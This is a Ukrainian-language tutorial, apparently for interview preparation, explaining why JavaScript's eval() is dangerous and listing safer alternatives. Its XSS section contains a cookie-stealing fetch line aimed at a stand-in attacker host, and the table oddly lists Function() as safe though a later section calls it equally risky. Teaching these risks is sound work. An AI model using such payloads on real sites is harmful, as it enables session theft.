Skip to main content

Чому eval() небезпечний?

Що робить eval()

Функція eval(code) приймає рядок JavaScript-коду і виконує його як звичайний JS-код під час виконання програми.

javascript
eval("console.log('Привіт, світе!')");

Це буквально "міні-інтерпретатор JavaScript всередині JavaScript".

Чому це небезпечно

Проблема в тому, що eval() виконує довільний код, і будь-який зловмисник, який зможе підставити туди свій рядок, може виконати будь-які команди від імені твого застосунку.

1. Вразливість для XSS / Remote Code Execution

Якщо в eval() потрапляє введення користувача, це катастрофа:

javascript
const userInput = prompt("Введіть щось:"); eval(userInput);

Користувач вводить:

javascript
alert('Зламано!');

І код виконається.

А в найгіршому випадку:

javascript
fetch('https://attacker.com/steal?cookies=' + document.cookie)

Зловмисник отримує кукі користувача і токен авторизації.

Це називається XSS (Cross-Site Scripting) або Remote Code Execution.

2. Порушення ізоляції безпеки

eval() виконується в поточному контексті, тобто має доступ до всіх змінних і функцій твого скрипту:

javascript
const secret = 'myToken123'; eval('console.log(secret)'); // виведе секрет

Якщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку.

3. Втрата оптимізації продуктивності

Сучасні JS-рушії (V8, SpiderMonkey, JavaScriptCore) роблять сильну оптимізацію коду під час компіляції. Але якщо ти використовуєш eval(), рушій не може передбачити, який код буде виконано → доводиться вимикати оптимізацію.

Результат:

  • код працює повільніше;
  • garbage collector втручається частіше;
  • inline і JIT-оптимізація вимикається.

4. Неочевидна поведінка з областю видимості

eval() виконується в поточній області видимості (при прямому виклику):

javascript
let x = 1; eval('x = 10'); console.log(x); // 10

Але якщо викликати непрямо ((0, eval)(...)), він працює в глобальній області:

javascript
let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10

Це робить код непередбачуваним і складним для налагодження.

5. Безпечніші і швидші альтернативи

Часто eval() намагаються використовувати, щоб:

  • виконати JSON-парсинг (eval(jsonStr));
  • викликати функцію за ім'ям;
  • обчислити вираз із рядка.

Але всі ці задачі вирішуються безпечними аналогами:

ЗадачаБезпечна альтернатива
Розбір JSONJSON.parse(str)
Виклик функції за ім'ямobj[funcName]()
Динамічна логікаMap або switch
ШаблониFunction() або template literals (рядки з підстановкою)
Мат. виразиПарсер (math.js, expr-eval)

6. Конструктор Function теж небезпечний

Іноді думають, що new Function() - безпечніший. Але він теж виконує рядок як код:

javascript
const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5

Він працює, але якщо туди потраплять дані від користувача, ризик такий самий, як і з eval().

7. Не можна використовувати в строгій CSP (Content Security Policy)

Сучасні сайти часто використовують CSP - політику безпеки, яка забороняє inline-скрипти і eval().

Якщо в HTTP-заголовках вказано:

javascript
Content-Security-Policy: script-src 'self'

то при спробі викликати eval() браузер просто викине помилку:

javascript
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed

Приклад: безпечна альтернатива eval()

Погано:

javascript
function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4');

Добре:

javascript
function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Неприпустимі символи'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14

Тут вираз попередньо перевіряється на допустимі символи.

Підсумок

ПроблемаЧому небезпечно
Вразливість для XSSВиконує довільний код
Порушує ізоляціюДоступ до всіх змінних
ПовільноВимикає оптимізацію JS-рушія
НепередбачуваноРізна область видимості
Несумісно з CSPЗаборонено на безпечних сайтах

Головна ідея:

eval() перетворює дані на код, а отже, будь-яка помилка або зовнішнє втручання = повний контроль над застосунком. Ніколи не використовуй eval() на даних, яким не можна довіряти.

Коротка відповідь

Для співбесіди
Premium

Коротка відповідь допоможе вам впевнено відповідати на цю тему під час співбесіди.